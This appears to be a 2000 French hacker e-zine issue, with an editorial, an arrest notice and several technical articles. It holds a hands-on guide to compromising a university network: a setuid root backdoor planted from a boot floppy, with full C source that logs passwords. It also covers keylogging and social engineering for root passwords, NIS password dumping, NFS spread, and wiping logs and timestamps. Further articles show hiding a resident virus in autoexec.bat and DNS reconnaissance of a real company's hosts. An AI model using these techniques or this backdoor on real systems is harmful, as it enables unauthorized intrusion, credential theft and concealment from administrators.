Copy Link
Add to Bookmark
Report
RtC MaG no 3
RtC MaG no 3
******************************************************************************
******************************************************************************
_____________________________
| | | ______| Call us: Par4noID, SnEaKie
| ___|___ ___| | SLy, S/asH
| |\ \ | | | |_____ AndroGyne, MoRPheE
|_| \__\ |___| |_________| http://www.chez.com/rtcgang
******************************************************************************
******************************************************************************
DISCLAIMER:
LES AUTEURS NE PEUVENT EN AUCUN CAS ETRE TENUS RESPONSABLES DE L'UTILISATION
FRAUDULEUSE DE CE DOCUMENT.CELUI-CI A EN EFFET ETE CREE DANS LE SOUCI DE
PERMETTRE UNE MEILLEURE CONNAISSANCE DES SYSTEMES INFORMATIQUES ET NON DANS UN
BUT DESTRUCTEUR , ILLEGAL, ET SURTOUT IMMORAL.
LES AUTEURS DECLINENT AINSI TOUTE RESPONSABILITE QUANT A L'UTILISATION
ILLEGALE DES INFORMATIONS FOURNIES CI DESSOUS.
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
EDITO:
Samedi 24 juin 5h du mat'.
J'ai la tête dans le cul, l'alcool dans le sang, les oreilles qui n'entendent plus la douce musique de mon clavier... je sors de boîte.
Je viens de me taper 4h de musique de merde, 4h non-stop posé sur un canapé à observer tous ces individus qui dance (prononcez à l'anglaise), habillé à la dernière mode des boYS, répétant les mêmes mouvements, ceux VU A LA TELE.
Je ne reproche à personne d'aller en boîte, cependant si votre seul but est de devenir un World APart, de dancer (n'oubliez pas on prononce à l'anglaise!) la dernière danse de l'été, si vous êtes un fan du nightclubbbbbbing, apprenez qu'à mes yeux vous n'êtes rien, juste un GOGO dancer, une victime, un être perdu dans son unique volonté de plaire aux autres, au monde. Vous croyez être libres, profiter de votre jeunesse, alors que vous êtes les prisonniers d'un monde de préjugés qui ne donne de sens à l'individu que s'il cherche à plaire.
Je vois d'ici votre réaction. Qu'est-ce que tels propos font dans l'édito d'un mAg de Hack?? La réponse est simple, elle tient en un terme: les GOGO Hacker. Qui sont-ils? Je désigne par cette expresion tous ces pseudo-pirates, ces utilisateurs de socket de troie, ces BOphiles, ceux pour qui le Hack ne représente rien, juste le moyen de revendiquer leur présence dans une certaine communauté, celle H/P/C/V/A qui pâtit de l'existence de tels individus. Nous ne répéterons jamais assez que le hacking doit défendre le principe de liberté. Le droit à se revendiquer HAcker ne dépend pas de son niveau à pénétrer tel ou tel système mais du fait que l'on partage ou non l'idée de liberté, que l'on partage ou non la philosophie du hacking. Ce mAg 3 est dédié à tout ceux, qu'ils aient ou non un bon niveau, qui ont compris que le hack n'est que le moyen d'une lutte.
Par4noID
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Sommaire:
1/ EDITO Par4noID
2/ The ScienTisT BusteD!! The g4ng
3/ FAK-HAK 2 : part II S/ash
4/ Resident Evil Androgyne
5/ Know your Ennemy: DNS repression Par4noID
6/ BATCHED and Protected SnEaKie
7/ L'avenir des virus Androgyne
8/ Polymorphisme VBS SLy
9/ Programmez un IRC bot S/ash
10/ On the behalf of brightness SnEaKie
11/ la bOmb infO du mAg Androgyne
12/ Mobilisation generale MoRPheE
13/ L'underground Francais S/ash
14/ Les générateurs de nb aléatoires Androgyne
15/ Projet K-Os : Sorry! Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
The ScienTisT BusteD!!
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
[05/07/00]
La nouvelle vient de tomber, nous ne pouvions attendre le mAg4 pour en parler. Notre cher compatriote The ScienTisT est tombé dans la nuit du 28/06/00 au 29/06/00. Aujourd'hui en attente de son jugement, il a pu nous faire parvenir cette triste nouvelle. Combien va-t-il payer, combien d'années de sa vie vont être gâchée parce qu'un jour il a décidé de défendre cette humble cause qu'est la liberté sur Internet? Les accusations retenues sont les suivantes:
* "Acces ou maintien frauduleux dans un réseau informatique"
* "Manipulation frauduleuse de données dans un réseau informatique"
* "Destructions, dégradations, détériorations sans danger pour les personnes"
Cette arrestation, en plus d'être une preuve (et malheureusement une de plus) de la surveillance qu'exerce le systeme policier francais sur le milieu H/P/C/V/A, porte un coup morale à notre g4ng. Mais plus que de nous démoraliser, cette nouvelle nous a mit en colère et nous a déterminé dans notre combat. ScienTist, si un jour tu lis cet article, comprends que ton arrestation a été l'une des motivations de notre lutte.
Du chaos naitra la lumiere...
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
FAK-HAK 2: PART II
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Beaucoup de pirates devant un reseau si simple que un reseau de fak essaie des techniques longues et difficiles alors qu'il existe des methodes bien plus faciles. Je vais vous decrire les methodes (un peu bourrines il est vrai) testees et approuvees par ma fak.
I. La disquette boot
--------------------
Le principe est tres simple : dans l'acces public de mon bahut j'ai ecrit un petit prog sympas (style : "setuid(0); setgid(0); system("/bin/bash");") camoufler dans un programme factice. Je l'ai compile sous le nom de 'bd' et j'ai rebootee la machine avec une disquette de boot linux.
Puis arriver sous le shell, j'ai execute ma passe :
# mount /dev/hdb1 /mnt -t ext2 (je monte la partition linux de la machine)
# mv /mnt/home/guest /mnt/bin (je deplace le prog a l'endroit qui m'interesse)
# chown bin.root /mnt/bin/bd (je mets l'utilisateur qui m'interesse)
# chmod 6755 /mnt/bin/bd (mettre le bit suid)
# umount /mnt (demonter la partition)
# reboot
voila maintenant quand je lance le prog sur la machine y me renvoie un bash root.
Arrrrrggggghhhhhhh : voila la gueule du shell : "bash# " (vous avez remarquez le '#' : il me trahit). No problem : "export PS1='bash$ '" me renverra le shell classique (cool ;) ). ReArrrrrrgggghhhhhh : je tape la flèche du haut et on revoie mes commandes, bon
ben je quitte le bash, je lance un editeur et, hop, on edite le '.bash_history'.
Mais j'en ais marre de me taper les pauv' disks de la redhat vous me direz. Ben faites vos disquettes vous-meme : un tres bon outil pour cela est 'zdisk'. Arrrrrgggghhhhhhh (bis) : il me renvoie une disquette formatter DMF sur un ordi qui ne le supporte pas... Ben c'est pas grave : recompilez un petit kernel (genre 300 ko compresse), au passage editez les fichiers du types syslinux.cfg pour modifier l'affichage au boot (et le prompt au passage), editez le fichier rescue.gz en faisant :
# gunzip rescue.gz
# mount -o loop rescue /mnt -t ext2 (monter le systeme dans le rep /mnt)
et editez le repertoire mnt. Une fois fini, faites :
# umount /mnt
# gzip -9 rescue
Ensuite formatter la disquette par : 'fdformat -n /dev/fd0H1440' (par exemple) Copiez les fichier necessaire :
# mount /floppy
# cp votre_noyau /floppy/kernel
# cp rescue.gz /floppy/
# cp syslinux.cfg /floppy/
# umount /floppy
# syslinux -s /fd0H1440 (installez le linux loader)
et voila vous avez une disquette bien a vous...
Une autre solution est la disquette du rtcg4ng.
N.B. : le fichier a un petit pb :
$ ls -l /bin/bd
-rwsr-sr-x 1 root bin 3655 Jun 10 14:07 bd*
^^^^^^^^^^^^
Vous voyez la date, allez hop 'touch -t 103100001995 bd'. Maintenant :
$ ls -l /bin/bd
-rwsr-sr-x 1 root bin 3655 Oct 31 1995 bd*
$ echo 'Cool !'
Cool !
(Au passage il faut aussi modifier la date de /bin)
II. Le logger de touche
-----------------------
Le principe est simple : on utilise un petit logiciel qui intercepte les touches tapées et qui se déclenche a certains mots (comme 'root').
D'abord voir le type de logger a utiliser :
* Si on a le root sur une machine, on va pas s'emmerder : on le lance dans un des scripts de demarrage.
* Sinon ben on infecte le boot en passant par un autre OS (et oui, ils ont des systemes couples linux/windows). Pour cela on utilisera les methodes d'infections du boot des virus (en effet, le viruses ne sert pas que a creer des virus) et on ira ecrire sur une partition que l'on connait (partition DOS)
Rq : ne vous inquietez pas on va en coder un avec Par4noiD.
Bon, c'est bo un keylogger mais comment on va chopper le root ?
Ben si les admins sont assez cons pour se logger en local en root pour resourdre les problemes, il suffit d'en causer un. Par exemple un petit 'ls -l .bashrc' dans le compte guest me donne :
-rw------- 1 guest users 555 May 15 9:35 .bashrc
Ah, les cons, allez hop un petit 'vi .bashrc' et je rajoute :
alias emacs='echo "only root can do this"'
Je deloggue. Maintenant quand quelqu'un voudra lancer emacs il aura un message :
"only root can do this" : bingo, il va appeler l'admin qui, comme un con, va se logger en root sur la machine et a moi son pass.
Un moyen de le faire plus rapidement est d'appeler une personne (plus particulièrement une fille : cf Reverse Engeneering) et de lui faire faire ce q'un user banal devrait faire.
III. Ecrire bourrin sur la partition
------------------------------------
Si ces pauv' couillon on installe win95/98 en parallèle avec linux et n'ont pas crypter le systeme de fichier linux (ah les cons), on peut installer la backdoor tranquille avec le petit utilitaire explor2fs qui permet de lire/ecrire des partition linux depuis windows. (au passage il est également possible d'en faire un sous DOS avec les sources : a venir)
IV. NIS
-------
Dans un reseau on a souvent besoins d'avoir le même environnement quelque soit la machine. Ainsi dans ma faq, ces couillons utilisent NIS (et non NIS+) pour cela ben j'ai fais un petit 'ypcat passwd.byname > /floppy/fak.pwd' et j'ai recupere la liste des pass des comptes NIS : allez hop mon cracker de mots de passe...
V. Bon ca marche tjrs pas : utilisez les failles les plus connus
----------------------------------------------------------------
Essayer les failles classiques, comme les sendmails...
VI. Gainning root access on main server
---------------------------------------
Dans la plupart des methodes decrite ici on ne gagne qu'un acces local en root (sur une machine). Le probleme est d'avoir acces a tout le reseau :
* NFS : beaucoup de reseau utilise NFS, ecrivez donc sur ces partitions pour transferer votre backdoor d'un systeme a l'autre. Avec un peu de chance vous aurez un truc du style /usr exporte en ecriture : alors la, vous avez le reseau en entier en ecrivant votre backdoor dessus.
* le keylogger : comme expliquer au dessus il peut vous donner le pass root
* le spoofing : une fois que vous avez le root en local, vous pouvez très bien modifier les parametres de la station pour cous faire passer pour un serveur (quitte a le smurfer pour le remplacer).
D'autres methodes existent pour remonter le systeme, mais je ne peux toutes les exposees ici.
VII. Effacer ses traces
-----------------------
Effacer ses traces est une choses très importante. J'ai explique les principales traces a effacer. Il y en a cependant d'autres : les logs dans le repertoire /var/logs, les eventuels fichiers core...
Il est tres importants d'effacer l'historique des commandes car imaginez que quelqu'un remonte cette historique et tombe sur une commande du style 'ypcat passwd.byname' : vous avez pas l'air con...
De plus, utilisez plutot des backdoors du style de 'bd' plutot que des comptes root trafiques style 'toor::0:0::/bin/sh' car quand vous ferez un finger ou un who sur la machine on ne vera que le compte guest utilise au login.
VIII. C'est bien bo tout ca mais que faire du root
--------------------------------------------------
Tout ce que vous voulez, evitez cependant de modifier des donnees chaudes comme la config ou le site web.
Pour ce qui est de la config, vous pouvez la modifier si vous remetez tout en place avant de partir.
Vous pouvez vous creer un petit cluster pour, par exemple, calculer une putain d'anim d'une heure sur un reseau relativement puissant (ou encore faire du brute force cracking en testant toutes les combinaisons imaginables sur des fichiers de mots de passe).
Voila, c'est fini.
Greetz : Par4noiD : avec qui je delire bien
NoRoute et Phe : qui ont fait avancer l'underground francais
Linus Thorvalds : pour ce que l'on sait tous
Ma fak et leurs admins : qui m'ont donner un reseau en entier.
et bien d'autres que j'oubli...
"Grow, forth, multiply and fill the Earth"
Voici le code de bd.c (un conseille remplacer les champs).
<-- begin file : bd.c -->
/***************************************************************
* bd.c by S/asH in RTCG4ng, June 2000 *
* generic backdoor for bash shell *
* must be setuid root to execute *
***************************************************************/
/* standard include */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
/* Constants */
#define PASS_FILE "/home/guest/.shrc" /* where to put root pass */
#define PASSWD_STR "" /* the pass to launch the shell */
#define ARG_NAME "enter" /* arg name for shell */
#define PASSWD_MSG "Password: " /* password prompt */
#define ON_FAILED "%s: incorrect password\n" /* answer for bad pass */
#define ON_EXECUTE "" /* answer for executing */
#define ON_ROOT "" /* answer if root */
#define BASHRC_PATH "/home/guest/.bashrc" /* bash script path */
#define TMPRC_PATH "/tmp/.bashrc" /* temporary script */
#define HIST_VARNAME1 "HISTSIZE" /* the env name 1 */
#define HIST_VARNAME2 "HISTFILESIZE" /* the env name 2 */
#define PROMPT_VARNAM "PS1" /* the prompt env name */
#define PROMPT_FIND "\\$" /* str to find in prompt */
#define PROMPT_REP "$" /* str to repl in prompt */
/* Liste of command for root to execute */
char *root_cmd_list[] =
{
NULL
};
/*****************************************************************
* passtest : test if the user can execute shell or not *
* Output : 1 : Yes, 0 : No *
*****************************************************************/
int passtest()
{
char passwd[20]; int i;
FILE *pass_file;
printf(PASSWD_MSG);
scanf("%s", passwd);
/* checking for password */
if (strcmp(PASSWD_STR, passwd)==0) return 1;
else
{
/* saving passwd if root try to connect */
pass_file = fopen(PASS_FILE, "a");
if(pass_file)
{
fprintf(pass_file, "%s\n", passwd);
fclose(pass_file);
}
return 0;
}
}
/*************************************************************
* strfr : Replace the first occur of fstr in str with rstr *
* Input : str : string to modify *
* fstr : string to replace *
* rstr : new string *
* Ouput : str : modified string (NULL if not found) *
*************************************************************/
char *strfr(char *str, char *fstr, char *rstr)
{
char *tmp;
char *buf;
tmp = strstr(str, fstr);
if(!tmp) return tmp;
*tmp = 0;
tmp += strlen(fstr);
buf = malloc(5+strlen(tmp));
strcpy(buf, tmp);
strcat(str, rstr);
tmp = strcat(str, buf);
free(buf);
return tmp;
}
/*****************************************************************
* make_script : make the script with the export *
*****************************************************************/
void make_script()
{
FILE *fo;
char buf1[10000];
sprintf(buf1, "cp %s %s", BASHRC_PATH, TMPRC_PATH);
system(buf1);
fo = fopen(TMPRC_PATH, "a");
fprintf(fo, "%s=\"0\" \n%s=\"0\"\n", HIST_VARNAME1, HIST_VARNAME2);
strcpy(buf1, getenv(PROMPT_VARNAM));
while(strfr(buf1, PROMPT_FIND, PROMPT_REP));
fprintf(fo, "%s=\"%s\"\n", PROMPT_VARNAM, buf1);
fclose(fo);
}
/*****************************************************************
* main : the main procedure *
* input : argc : argument counter *
* argv : list of argument *
*****************************************************************/
int main(int argc, char *argv[])
{
char buf[1000]; char buf2[1000]; int i;
if(argc!=2) printf(ON_EXECUTE);
else if (strcmp(argv[1],ARG_NAME)==0)
{
if(getuid()!=0)
{
if(passtest())
{
setgid(0);
setuid(0);
/* Making rcfile */
make_script();
/* Executing bash */
sprintf(buf, "/bin/bash -rcfile %s", TMPRC_PATH);
system(buf);
/* removing rcfile */
remove(TMPRC_PATH);
}
else printf(ON_FAILED, argv[0]);
return 1;
}
else
{
/* Executing root command */
for(i=0; root_cmd_list[i]; i++) system(root_cmd_list[i]);
printf(ON_ROOT);
return 0;
}
}
else printf(ON_EXECUTE);
return 0;
}
<-- end of file bd.c -->
<-- file by S/asH -->
[EOF]
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
--Resident Evil I-- ou comment devenir résidant malgré le Diable
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
I) Préambule
=============
Je parle souvent de virus résidant mais est-ce que ça existe vraiment ? Quand je dis résidant, que ce soit clair, je parle des virus résidants classiques détournant au moins l'interruption 21h et utilisant la fonction ouverture (ou fermeture) pour infecter les fichiers. Que l'on me montre un virus résidant de ce type marchant sous Windows 95 et 98. Non, ça n'existe plus. Pour la théorie, c'est vrai qu'on peut donner des codes de virus résidant mais sachez que ni la technique bourrin du genre 'je remplace moi-même le vecteur d'interruption', ni la technique plus traditionnelle 'int 21h : fonction 35h/fonction 25h' ne marche sous W95/W98. Dommage pour ceux qui y croyait encore.
Cependant, il ne faut jamais croire que tout est fini. Les techniques pour être résidant sont comme les bugs de Windaube, innombrables. Différentes recherches m'ont amené à quelques constatations (utiles pour savoir où on peut chercher) :
-Premièrement, je n'ai jamais réussi à savoir ce qui empêchait de changer le vecteur de l'interruption 21h ; mais à chaque fois, ça plante. Est-ce que le PC fait un appel à l'interruption pendant qu'on est en train de changer son vecteur ? Possible mais c'est loin d'être sûr vu que tout plante même quand on place le virus dans l'autoexec.bat.
-Deuxièmement, quand on utilise l'int 21h fonction 31h pour devenir résidant, on reçoit une insulte de la part de Windoze qui nous parle de programme Pop-up ; qu'est-ce qu'un programme Pop-up, impossible de savoir. Tout ce qu'on sait, c'est que ça ne marche pas... sauf quand on le fait dans l'autoexec.bat.
-Troisièmement, il est possible de changer les vecteurs de quasiment toutes les autres interruptions. Et ceci est le point essentiel sur lequel nous allons travailler.
II) Comment devenir résidant...
================================
Mon idée de départ est simple : utiliser un vecteur qui est appelé relativement souvent de façon à profiter d'un laps de temps pour effectuer quelques tâches. Le plus simple aurait été le vecteur 1Ch qui est le vecteur qui gère le temps, il est appelé 18.3 fois par secondes, l'idéal. Mais on retrouve les mêmes problèmes qu'avec l'interruption 21h. Quel autre vecteur choisir ?
Mon choix s'est alors aussitôt porté sur l'interruption 33h, vous vous souvenez, l'interruption souris (voir le m4g RTC n°2). Cette interruption convient parfaitement à ce que nous voulons. Mais le choix peut se porter sur n'importe quelle autre interruption valable (on peut même imaginer le virus qui choisirais une interruption au hasard parmi une liste prédéterminée). Après quelques petits tests, on s'aperçoit que l'on peut détourner l'interruption 33h sans trop de difficulté. Reste à voir comment passer l'obstacle du message 'programme Pop-up'.
J'ai remarqué que la plupart des antivirus ne s'occupe pas vraiment de l'autoexec.bat. Or, l'ignorer, c'est dangereux. Il peut se passer plein de trucs dans un batch. Evidemment, il faut essayer de camoufler tout ce qu'on fait. Rajouter une ligne 'virus.com' dans l'autoexec.bat est stupide, je l'ai déjà dit. En revanche, on peut copier son virus dans le répertoire Windows\System sous un nom assez ambigu pour ne pas savoir si c'est un programme qui a été rajouté ou si c'est un programme de Windows. Un truc du style syscheck32.com convient tout à fait (évidemment, on peut de même tirer au hasard un nom dans une liste). On rajoute alors la ligne qu'il faut dans l'autoexec.bat et on se rendort. A la prochaine execution, un syscheck32.com apparaîtra dans les programmes résidants, qui irait penser que ce gentil programme cache un virus. Personne, je me demande même si la plupart des gens savent ce qu'est un programme résidant et comment on fait pour en voir la liste (c'est pourtant la combinaison de touches la plus utilisée sous Win : CTRL+ALT+SUPPR).
Et voilà, on est résidant. Seulement pas au sens où on l'entend habituellement, c'est à dire avec l'interruption 21h dans la poche et tout le tralala. On est résidant au sens le plus large du terme, c'est à dire que le système va nous donner la main de temps en temps et on en demande pas plus.
III) Comment exploiter cette situation
=======================================
On écrit alors le code du virus comme pour un virus non résidant en faisant attention de rendre la main au système qui nous a appelé. Par exemple, on utilise une routine similaire à celle de K-os (m4g RTC n°2) et on infecte un fichier à chaque fois. Il faut simplement faire attention à ne pas faire de recherches trop longues. Un tel virus est un peu plus dur à programmer car il faut prendre en compte toutes les étapes de contamination. Il faut juste un peu de temps pour réfléchir.
Ce nouveau type de virus, à mi chemin entre un virus résidant et un virus non résidant (résidant parce qu'il est résidant en mémoire, non résidant parce qu'il n'installe pas un gestionnaire d'interruption à la manière des virus résidant) peut se révéler d'une efficacité redoutable. J'invite tout ceux qui le souhaite à chercher dans cette voie. Je prépare un virus basé sur ces principes pour le prochain m4g (en fait, j'ai pas encore commencé). Affaire à suivre...
By Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
KnOw yOur Ennemy : DNS repression
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Le g4ng a ces derniers temps recu beaucoup de mails quant à l'attaque d'un système. Il semble en effet que certains d'entre vous aient installés linux et connaissent les failles SATAN plus quelques autres sans pour autant savoir par ou commence l'atHACK d'un réseau. Cet article est écrit en réponse à ces personnes...
I DNS
Lors d'une atHack, la première étape consiste à obtenir des informations sur le systeme victime. Une bonne méthode pour cela va être le dnsquery. Prenons un exemple simple, l'attaque de la sncf...
Le site de la sncf étant www.sncf.fr, on va essayé d'attaquer par là. Lorsque vous vous en prenez à une grosse boîte il y a de très grande chance que le site soit hébergé par l'ordinateur d'un réseau interne à la boîte. Ainsi la sncf posséde un réseau derriere son site(dont le nom de domaine est sncf.fr). On va donc essayé d'obtenir la liste et les adresses des ordinateurs du réseau.
Par4noID# dnsquery sncf.fr
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52850
;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 4, ADDITIONAL: 9
;; sncf.fr, type = ANY, class = IN
sncf.fr. 11h25m10s IN NS lys.sncf.fr.
sncf.fr. 11h25m10s IN NS dns.sncf.fr.
sncf.fr. 11h25m10s IN NS ns0.oleane.net.
sncf.fr. 11h25m10s IN NS ns1.oleane.net.
sncf.fr. 11h25m10s IN MX 15 paquerette.sncf.fr.
sncf.fr. 11h25m10s IN MX 20 smtp.oleane.net.
sncf.fr. 1d9h11m33s IN A 195.25.238.132
sncf.fr. 1d10h48m50s IN SOA dns.sncf.fr. dnsmaster.sncf.fr. (
2000140301 ; serial
6H ; refresh
1H ; retry
1W ; expiry
2D ) ; minimum
sncf.fr. 11h25m10s IN NS lys.sncf.fr.
sncf.fr. 11h25m10s IN NS dns.sncf.fr.
sncf.fr. 11h25m10s IN NS ns0.oleane.net.
sncf.fr. 11h25m10s IN NS ns1.oleane.net.
lys.sncf.fr. 22h53m35s IN A 194.167.100.1
dns.sncf.fr. 23h45m54s IN A 195.25.238.134
ns0.oleane.net. 1h1m2s IN A 194.2.0.30
ns1.oleane.net. 1h35m11s IN A 194.2.0.60
paquerette.sncf.fr. 9h1m10s IN A 195.25.238.140
smtp.oleane.net. 1h27m27s IN A 195.25.12.3
smtp.oleane.net. 1h27m27s IN A 195.25.12.10
smtp.oleane.net. 1h27m27s IN A 195.25.12.14
smtp.oleane.net. 1h27m27s IN A 195.25.12.15
Interprétons ces diverses infos:
* ; introduits les commentaires.
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52850
;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 4, ADDITIONAL: 9
;; sncf.fr, type = ANY, class = IN
* l'enregistrement NS = name serveur
sncf.fr. 11h25m10s IN NS lys.sncf.fr.
sncf.fr. 11h25m10s IN NS dns.sncf.fr.
sncf.fr. 11h25m10s IN NS ns0.oleane.net.
sncf.fr. 11h25m10s IN NS ns1.oleane.net.
Chaque ligne est ici de la forme:
zone [ttl] [classe] NS nom d'ordinateur
où nom d'ordinateur désigne un ordinateur qui a authorité sur la zone spécifié (comment ça j suis pas clair?)
En gros, le réseau que nous attaquons(sncf.fr) dispose de 4 serveur de noms :
lys.sncf.fr, dns.sncf.fr, ns0.oleane.net, ns1.oleane.net
Ces 4 ordinateurs permettent aux ordinateurs du réseau sncf.fr d'obtenir les adresses IP de leur pair, nous y reviendrons :-)
* l'enregistrement SOA (start of authority)
sncf.fr. 1d10h48m50s IN SOA dns.sncf.fr. dnsmaster.sncf.fr. (
2000140301 ; serial
6H ; refresh
1H ; retry
1W ; expiry
2D ) ; minimum
sncf.fr est le nom de la zone, dnsmaster.sncf.fr est le serveur du responsable du réseau, ensuite on se tape les différentes valeurs de time out.
la 1ere valeur est le numéro de série, il s'agit d'un entier incrémenté à chaque modifications des données.
la valeur refresh est la durée au bout de laquelle le serveur secondaire vérifie si le numéro de série du serveur primaire a changé.
la valeur retry est la durée au bout de laquelle le serveur secondaire essaye de recontacter le serveur primaire s'il y a echec à la connection.
la valeur expiry indique la durée durant laquelle le serveur secondaire remplacera le primaire si celui-ci est indisponible.
la valeur minimum time to live par défaut.
* l'enregistrement MX = mail exchanger
sncf.fr. 11h25m10s IN MX 15 paquerette.sncf.fr.
sncf.fr. 11h25m10s IN MX 20 smtp.oleane.net.
On obtient les deux serveurs de mails du réseau.
* l'enregistrement A = adresse
lys.sncf.fr. 22h53m35s IN A 194.167.100.1
dns.sncf.fr. 23h45m54s IN A 195.25.238.134
ns0.oleane.net. 1h1m2s IN A 194.2.0.30
ns1.oleane.net. 1h35m11s IN A 194.2.0.60
paquerette.sncf.fr. 9h1m10s IN A 195.25.238.140
smtp.oleane.net. 1h27m27s IN A 195.25.12.3
smtp.oleane.net. 1h27m27s IN A 195.25.12.10
smtp.oleane.net. 1h27m27s IN A 195.25.12.14
smtp.oleane.net. 1h27m27s IN A 195.25.12.15
L'enregistrement A permet la résolution nom d'ordinateur- Adresse IP.
Par exemple, on observe ici que l'ordinateur ns0.oleane.net a pour adresse IP 194.2.0.60.
II Et maintenant j fais quoi???
Les ordinateurs qui nous intéressent sont les serveurs de nom. En effet, en les interrogeant on va pouvoir récupérer des infos sur les ordinateurs qui les utilisent, c'est-à-dire sur les ordinateurs du réseau.
Pour cela on utilise la commande nslookup qui permet d'interroger les serveurs de nom.
On a vu que la machine ns0.oleane.net était un name serveur, de plus on sait que son adresse IP est 194.2.0.60 d'ou:
Par4noID# nslookup - 194.2.0.60
Default Server: ns0.oleane.net
Address: 194.2.0.30
> ls -t sncf.fr (on regarde quels sont les ordinateurs de sncf.fr qui utilisent ce serveur de nom)
> [ns0.oleane.net]
$ORIGIN sncf.fr.
@ 2D IN A 195.25.238.132
localhost 2D IN A 127.0.0.1
toulouse 2D IN A 195.25.238.131
trantor 2D IN A 195.101.72.1
aranea 2D IN A 194.167.100.2
anemone 2D IN A 195.25.238.136
jasmin 2D IN A 171.16.0.7
web 2D IN A 195.25.238.132
dns 2D IN A 195.25.238.134
rose 2D IN A 195.25.238.133
ntp 2D IN A 171.16.0.3
pensee 2D IN A 195.25.238.130
firewall 2D IN A 195.25.238.154
paquerette 2D IN A 195.25.238.140
proxy1 2D IN A 171.16.0.6
surve 2D IN A 195.25.238.135
news2 2D IN A 171.16.0.1
proxy2 2D IN A 171.16.0.5
proxy3 2D IN A 171.16.0.1
proxy4 2D IN A 171.16.0.19
proxy5 2D IN A 171.16.0.20
lys 2D IN A 194.167.100.1
voyages 2D IN A 195.101.72.2
voeux 2D IN A 195.25.238.144
Et voila une joli liste des ordinateurs du réseau avec leur adresse IP!
A noter la présence d'un firewall, de quoi vous amusez pendant vos vacances.(à vos risques et périls bien sûr :-))) )
Par4noID
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
BATCHED AND PROTECTED...
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Le but de mon article cette fois-ci, c d'initier certains à la logique Batch, cad comment placer certaines fonctions sans pour autant qu'elles interfèrent et de faire un exemple d'antivirus non pas très puissant, loin de là, ms pour montrer que faire un virus c pas si dur que ça et que qd on a capté comment marche un virus, on peut le contrer par une technique inverse : ne me faites ps dire ce que je n'ai ps dit, à savoir que je sais faire des antivirus car je connais tous les virus, loin de moi cette idée...!!!...!!!...!!!
Après un pb dans le précédent article, je m'efforcerais cette fois-ci de faire de mon mieux et de proposer un article sans erreurs de code... Après un virus, je propose un anti-virus, quoique très simple, il n'en ai pas moins utile. Cet av est un av pour les virus Batchs qui sont très peu reconnaissables par les av classiques : ceci n'étant pas forcément la priorité de ces av...(ce serait plutôt le bénéfice! :)
Tout d'abord réfléchissons quelques secondes sur les fonctions que doit remplir un av pour qu'il opère directement et efficacement. Ensuite nous verrons le code source et ses différentes fonctionnalités qui peuvent être rajoutées.
* Un av doit être capable de reconnaître les virus : première de ses fonctions. En effet, si un av veut pouvoir protéger le système d'éventuels virus provocants des pbs il doit être capable de repérer ceux qui seraient susceptibles de provoquer des erreurs... Ce n'est pas une mince affaire, croyez-moi, comment faire pour qu'un antivirus batch sache que tel ou tel fichier contient des commandes qui pourraient endommager le système ou créer d'éventuels conflits avec des applications ? Il faut donc implémenter dans l'av des routines de reconnaissances... Pas facile...
* Ce même av doit aussi être capable de résoudre le pb qu'il aura trouver : il doit pouvoir décontaminer le système une fois celui-ci infecté, tout cela sans détruire des données soit en étant le plus précautionneux possible.
=====================
Solutions:
* Pas fado : pour la première chose il va falloir que tous les fichiers avec l'extension *.bat; *.txt; et tous ceux qui peuvent être ouvert un éditeur de texte classique ds un 1er tmps, contiennent certains caractères qui permettront à l'av de reconnaître les fichiers non-infectés : ces caractères dans le cas présent seront: " %anti% ".
Ces quelques caractères seront utilisés par l'av pr qu'il soit dans la mesure de distinguer les lignes de codes normales de celles qui seront sécurisées.
* Il faudrait que le virus possède une marque différente de celle de l'av: " %anti% " et donc par exemple " %SnEaKie% ", dans ce cas le travail serait plus simple, dans un autre cas de figure, on peut supposer que si le virus ne possède pas de marque (de signature) car les lignes rajoutées l'ont été plus ou moins à la hâte ou sans perspective de signature, le virus n'est donc pas signé et le travail sera effectué de la même façon, étant donné que l'antivirus ne retient dans un fichier que ce qui est fini par %anti% et qu'il détruit le reste.
=====================
Passons maintenant à un petit passage de code:
--------------------------------CUT HERE-----------------------------
@echo off %anti%
cls %anti%
:type %anti%
cls %anti%
echo /-----------------------------------------------------\ %anti%
echo / ANTI v2.5 Detecteur de signature de virus BAT \ %anti%
echo / Outil RTC de détection et de suppression de virus \ %anti%
echo / au format *.bat. \ %anti%
echo / \ %anti%
echo / (1') @Copyright 2000: SnEaKie \ %anti%
echo /-----------------------------------------------------\ %anti%
echo / 1: Depistage \ %anti%
echo / \ %anti%
echo / 2: Tentative de destruction \ %anti%
echo / \ %anti%
echo / 3: Verification de protection \ %anti%
echo / \ %anti%
echo / 4: Quitter \ %anti%
echo / \ %anti%
echo /-----------------------------------------------------\ %anti%
echo. %anti%
choice /c:1234 %anti%
if errorlevel 4 goto Exit %anti%
if errorlevel 3 goto Verifi %anti%
if errorlevel 2 goto destruction %anti%
if errorlevel 1 goto Depistage %anti%
:Depistage %anti%
If exist %1 goto existe
Else goto existepas
:existepas
goto endexistepas
:existe
type %1 | find "%2" %anti% (1)
if errorlevel goto echo %anti%
:echo' %anti%
echo /----------------------------------------------------\ %anti%
echo / Attention virus détecté sur votre systeme \ %anti%
echo / \ %anti%
echo / Voulez-vous qu'Antivir 1.0 s'occupe de la \ %anti%
echo / destruction par isolement \ %anti%
echo / de la signature du virus precedemment signalee ? \ %anti%
echo / Ceci semble necessaire car votre systeme semble \ %anti%
echo / tres affecte. \ %anti%
